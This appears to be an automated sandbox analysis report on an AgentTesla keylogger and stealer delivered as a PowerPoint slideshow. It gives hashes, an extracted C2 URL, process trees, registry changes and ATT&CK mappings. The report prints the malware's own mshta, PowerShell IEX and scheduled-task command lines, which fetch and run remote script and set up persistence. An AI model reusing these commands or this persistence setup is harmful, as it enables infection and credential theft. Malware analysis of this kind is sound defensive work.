agenttesla | 18b7a818fd88133d309ce7191e9c3eb85a3b31d0bbaf2c08df0f1cbdc26a7513

General

Target

PO944888299393.pps
Size

77KB
MD5

858604f0166fa58fe09e96988a87477c
SHA1

bed0b866c6b8cc1048153b22e96a51f464d6582b
SHA256

18b7a818fd88133d309ce7191e9c3eb85a3b31d0bbaf2c08df0f1cbdc26a7513
SHA512

d05a52ed607c6b96875428b8f3aa379c5460db17e6480e5bb3bfbdf0ba72fd895acb523b846413e99ca1d056a371462df94ca1556cd98ac2e1f0be1144da596d

Score

10^/10

agenttesla keylogger persistence spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

C2

http://103.133.105.179/909/inc/29e2365d4334a8.php

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

mshta.exepowershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE is not expected to spawn this process	552	1056	mshta.exe	POWERPNT.EXE
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1688	1600	powershell.exe

AgentTesla Payload 3 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2248-82-0x0000000000400000-0x000000000043C000-memory.dmp	family_agenttesla
behavioral1/memory/2248-83-0x0000000000437D8E-mapping.dmp	family_agenttesla
behavioral1/memory/2248-84-0x0000000000400000-0x000000000043C000-memory.dmp	family_agenttesla

Blocklisted process makes network request 16 IoCs

Processes:

mshta.exepowershell.exe

flow	pid	process
7	552	mshta.exe
9	552	mshta.exe
11	552	mshta.exe
13	552	mshta.exe
15	552	mshta.exe
16	552	mshta.exe
18	552	mshta.exe
20	552	mshta.exe
21	552	mshta.exe
23	552	mshta.exe
25	552	mshta.exe
27	552	mshta.exe
30	1688	powershell.exe
32	1688	powershell.exe
34	1688	powershell.exe
36	1688	powershell.exe

Drops file in Drivers directory 1 IoCs

Processes:

aspnet_compiler.exe

description ioc process

File opened for modification C:\Windows\system32\drivers\etc\hosts aspnet_compiler.exe

description	ioc	process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	aspnet_compiler.exe

Adds Run key to start application 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

mshta.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"mshta\"\"http://1230948%[email protected]/p/9.html\""	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Windows\CurrentVersion\Run\nunukhaoo = "\"mshta\"\"http://1230948%[email protected]/p/9.html\""	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Windows\CurrentVersion\Run\replcia = "mshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"powershell ((gp HKCU:\\Software).nasdnasndnad)\|IEX\"\", 0 : window.close\")"	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Windows\CurrentVersion\Run	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Windows\CurrentVersion\Run\DLESOLCRETSAM = "mshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"powershell ((gp HKCU:\\Software).MSOFFICELO)\|IEX\"\", 0 : window.close\")"	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Windows\CurrentVersion\Run\dkkkksakdosexography = "\"mshta\"\"http://1230948%[email protected]/p/9.html\""	mshta.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1688 set thread context of 2248 1688 powershell.exe aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

1748 schtasks.exe
Kills process with taskkill 2 IoCs
evasion

Processes:

taskkill.exetaskkill.exe

pid process

2052 taskkill.exe
2064 taskkill.exe

description	pid	process	target process
PID 1688 set thread context of 2248	1688	powershell.exe	aspnet_compiler.exe

pid	process
1748	schtasks.exe

pid	process
2052	taskkill.exe
2064	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 10 IoCs

adware spyware

Modify Registry

T1112

Processes:

POWERPNT.EXEmshta.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	POWERPNT.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	POWERPNT.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Modifies registry class 64 IoCs

Processes:

POWERPNT.EXE

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A52-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A5C-F07E-4CA4-AF6F-BEF486AA4E6F}	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Wow6432Node\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents6"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934CB-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F7-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F9-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149347C-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A6B-F07E-4CA4-AF6F-BEF486AA4E6F}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A7C-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Wow6432Node\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01}\ = "IOptionFrame"	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Wow6432Node\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Wow6432Node\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}\ = "CommandButtonEvents"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149347A-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DA-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074}\ = "IReturnInteger"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{FB621625-C9EA-40F1-AF06-659AB704040B}\2.0\FLAGS\ = "6"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E9-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A7C-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E554-4FF5-48F4-8215-5505F990966F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Wow6432Node\Interface\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSelect"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149349D-5A91-11CF-8700-00AA0060263B}\ = "_Presentation"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A73-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Wow6432Node\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346F-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493470-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149347B-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493494-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493498-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493458-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149345D-5A91-11CF-8700-00AA0060263B}\ = "PrintOptions"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346C-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934CE-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F3-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A7B-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E559-4FF5-48F4-8215-5505F990966F}\ProxyStubClsid32	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080}	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493479-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C7-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A63-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A5D-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A6E-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A79-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493478-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149348F-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C0-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}\ = "OptionFrameEvents"	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Interface\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F1-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F5-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F7-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A55-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A6B-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a"	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Wow6432Node\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149345B-5A91-11CF-8700-00AA0060263B}\ = "NamedSlideShows"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493466-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493475-5A91-11CF-8700-00AA0060263B}\ = "Shapes"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{FB621625-C9EA-40F1-AF06-659AB704040B}\2.0\FLAGS	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493489-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DC-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A62-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "DataLabels"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493486-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C0-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

POWERPNT.EXE

pid process

1056 POWERPNT.EXE
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exeaspnet_compiler.exe

pid process

1688 powershell.exe
1688 powershell.exe
2248 aspnet_compiler.exe
2248 aspnet_compiler.exe

pid	process
1056	POWERPNT.EXE

pid	process
1688	powershell.exe
1688	powershell.exe
2248	aspnet_compiler.exe
2248	aspnet_compiler.exe

Suspicious use of AdjustPrivilegeToken 43 IoCs

Processes:

powershell.exetaskkill.exeaspnet_compiler.exe

description	pid	process
Token: SeDebugPrivilege	1688	powershell.exe
Token: SeDebugPrivilege	2052	taskkill.exe
Token: SeIncreaseQuotaPrivilege	1688	powershell.exe
Token: SeSecurityPrivilege	1688	powershell.exe
Token: SeTakeOwnershipPrivilege	1688	powershell.exe
Token: SeLoadDriverPrivilege	1688	powershell.exe
Token: SeSystemProfilePrivilege	1688	powershell.exe
Token: SeSystemtimePrivilege	1688	powershell.exe
Token: SeProfSingleProcessPrivilege	1688	powershell.exe
Token: SeIncBasePriorityPrivilege	1688	powershell.exe
Token: SeCreatePagefilePrivilege	1688	powershell.exe
Token: SeBackupPrivilege	1688	powershell.exe
Token: SeRestorePrivilege	1688	powershell.exe
Token: SeShutdownPrivilege	1688	powershell.exe
Token: SeDebugPrivilege	1688	powershell.exe
Token: SeSystemEnvironmentPrivilege	1688	powershell.exe
Token: SeRemoteShutdownPrivilege	1688	powershell.exe
Token: SeUndockPrivilege	1688	powershell.exe
Token: SeManageVolumePrivilege	1688	powershell.exe
Token: 33	1688	powershell.exe
Token: 34	1688	powershell.exe
Token: 35	1688	powershell.exe
Token: SeIncreaseQuotaPrivilege	1688	powershell.exe
Token: SeSecurityPrivilege	1688	powershell.exe
Token: SeTakeOwnershipPrivilege	1688	powershell.exe
Token: SeLoadDriverPrivilege	1688	powershell.exe
Token: SeSystemProfilePrivilege	1688	powershell.exe
Token: SeSystemtimePrivilege	1688	powershell.exe
Token: SeProfSingleProcessPrivilege	1688	powershell.exe
Token: SeIncBasePriorityPrivilege	1688	powershell.exe
Token: SeCreatePagefilePrivilege	1688	powershell.exe
Token: SeBackupPrivilege	1688	powershell.exe
Token: SeRestorePrivilege	1688	powershell.exe
Token: SeShutdownPrivilege	1688	powershell.exe
Token: SeDebugPrivilege	1688	powershell.exe
Token: SeSystemEnvironmentPrivilege	1688	powershell.exe
Token: SeRemoteShutdownPrivilege	1688	powershell.exe
Token: SeUndockPrivilege	1688	powershell.exe
Token: SeManageVolumePrivilege	1688	powershell.exe
Token: 33	1688	powershell.exe
Token: 34	1688	powershell.exe
Token: 35	1688	powershell.exe
Token: SeDebugPrivilege	2248	aspnet_compiler.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

POWERPNT.EXEaspnet_compiler.exe

pid process

1056 POWERPNT.EXE
2248 aspnet_compiler.exe

pid	process
1056	POWERPNT.EXE
2248	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 29 IoCs

Processes:

POWERPNT.EXEmshta.exepowershell.exe

description	pid	process	target process
PID 1056 wrote to memory of 1980	1056	POWERPNT.EXE	splwow64.exe
PID 1056 wrote to memory of 1980	1056	POWERPNT.EXE	splwow64.exe
PID 1056 wrote to memory of 1980	1056	POWERPNT.EXE	splwow64.exe
PID 1056 wrote to memory of 1980	1056	POWERPNT.EXE	splwow64.exe
PID 1056 wrote to memory of 552	1056	POWERPNT.EXE	mshta.exe
PID 1056 wrote to memory of 552	1056	POWERPNT.EXE	mshta.exe
PID 1056 wrote to memory of 552	1056	POWERPNT.EXE	mshta.exe
PID 1056 wrote to memory of 552	1056	POWERPNT.EXE	mshta.exe
PID 552 wrote to memory of 1748	552	mshta.exe	schtasks.exe
PID 552 wrote to memory of 1748	552	mshta.exe	schtasks.exe
PID 552 wrote to memory of 1748	552	mshta.exe	schtasks.exe
PID 552 wrote to memory of 1748	552	mshta.exe	schtasks.exe
PID 552 wrote to memory of 2052	552	mshta.exe	taskkill.exe
PID 552 wrote to memory of 2052	552	mshta.exe	taskkill.exe
PID 552 wrote to memory of 2052	552	mshta.exe	taskkill.exe
PID 552 wrote to memory of 2052	552	mshta.exe	taskkill.exe
PID 552 wrote to memory of 2064	552	mshta.exe	taskkill.exe
PID 552 wrote to memory of 2064	552	mshta.exe	taskkill.exe
PID 552 wrote to memory of 2064	552	mshta.exe	taskkill.exe
PID 552 wrote to memory of 2064	552	mshta.exe	taskkill.exe
PID 1688 wrote to memory of 2248	1688	powershell.exe	aspnet_compiler.exe
PID 1688 wrote to memory of 2248	1688	powershell.exe	aspnet_compiler.exe
PID 1688 wrote to memory of 2248	1688	powershell.exe	aspnet_compiler.exe
PID 1688 wrote to memory of 2248	1688	powershell.exe	aspnet_compiler.exe
PID 1688 wrote to memory of 2248	1688	powershell.exe	aspnet_compiler.exe
PID 1688 wrote to memory of 2248	1688	powershell.exe	aspnet_compiler.exe
PID 1688 wrote to memory of 2248	1688	powershell.exe	aspnet_compiler.exe
PID 1688 wrote to memory of 2248	1688	powershell.exe	aspnet_compiler.exe
PID 1688 wrote to memory of 2248	1688	powershell.exe	aspnet_compiler.exe

C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" /s "C:\Users\Admin\AppData\Local\Temp\PO944888299393.pps"
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1056
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:1980
- C:\Windows\SysWOW64\mshta.exe
  mshta http://www.j.mp/djaksldqowdihjdam
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Adds Run key to start application
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:552
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""WIND0WSUPLATE"" /F /tr ""\""mshta\""vbscript:Execute("\"CreateObject(""\""Wscript.Shell""\"").Run ""\""mshta http://1230948%[email protected]/p/9.html""\"", 0 : window.close"\")
    3⤵
    - Creates scheduled task(s)
    PID:1748
- - C:\Windows\SysWOW64\taskkill.exe
    "C:\Windows\System32\taskkill.exe" /f /im winword.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2052
- - C:\Windows\SysWOW64\taskkill.exe
    "C:\Windows\System32\taskkill.exe" /f /im Excel.exe
    3⤵
    - Kills process with taskkill
    PID:2064

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -noexit ((gp HKCU:\Software).MSOFFICELO)|IEX
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1688
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
  #cmd
  2⤵
  - Drops file in Drivers directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:2248

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Registry Run Keys / Startup Folder

Scheduled Task

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5
c4c8ed067d386af41d40ca592935b14a

SHA1
81ef9c24c2207f7136478a7875fcfb4e2a4879cf

SHA256
e51dcdd13ee1575abde7ef28de4947495c07727bec61fa8f41c51597e0bfff5f

SHA512
852051231a1c74e4a5d9552bbfd84054a915ec91ef5a98013c37d817e51f1436664d4a99ccdb3e0b22e45dab65c4667fc908804febb9a52b7ede5dd069206ca0

Download Submit
memory/552-65-0x0000000000000000-mapping.dmp

Download
memory/1056-61-0x0000000071701000-0x0000000071703000-memory.dmp

Filesize
8KB

Download
memory/1056-62-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1056-60-0x0000000073EA1000-0x0000000073EA5000-memory.dmp

Filesize
16KB

Download
memory/1688-79-0x0000000002800000-0x0000000002804000-memory.dmp

Filesize
16KB

Download
memory/1688-77-0x000000001B6D0000-0x000000001B6D1000-memory.dmp

Filesize
4KB

Download
memory/1688-68-0x0000000002640000-0x0000000002641000-memory.dmp

Filesize
4KB

Download
memory/1688-69-0x000000001AA80000-0x000000001AA81000-memory.dmp

Filesize
4KB

Download
memory/1688-81-0x000000001B4B0000-0x000000001B4C2000-memory.dmp

Filesize
72KB

Download
memory/1688-80-0x000000001B480000-0x000000001B482000-memory.dmp

Filesize
8KB

Download
memory/1688-72-0x00000000023F0000-0x00000000023F1000-memory.dmp

Filesize
4KB

Download
memory/1688-73-0x0000000002420000-0x0000000002422000-memory.dmp

Filesize
8KB

Download
memory/1688-74-0x0000000002424000-0x0000000002426000-memory.dmp

Filesize
8KB

Download
memory/1688-75-0x0000000002700000-0x0000000002701000-memory.dmp

Filesize
4KB

Download
memory/1688-76-0x000000001B3F0000-0x000000001B3F1000-memory.dmp

Filesize
4KB

Download
memory/1748-66-0x0000000000000000-mapping.dmp

Download
memory/1980-64-0x000007FEFBFF1000-0x000007FEFBFF3000-memory.dmp

Filesize
8KB

Download
memory/1980-63-0x0000000000000000-mapping.dmp

Download
memory/2052-70-0x0000000000000000-mapping.dmp

Download
memory/2064-71-0x0000000000000000-mapping.dmp

Download
memory/2248-82-0x0000000000400000-0x000000000043C000-memory.dmp

Filesize
240KB

Download
memory/2248-83-0x0000000000437D8E-mapping.dmp

Download
memory/2248-84-0x0000000000400000-0x000000000043C000-memory.dmp

Filesize
240KB

Download
memory/2248-86-0x00000000012A0000-0x00000000012A1000-memory.dmp

Filesize
4KB

Download
memory/2248-87-0x00000000012A1000-0x00000000012A2000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads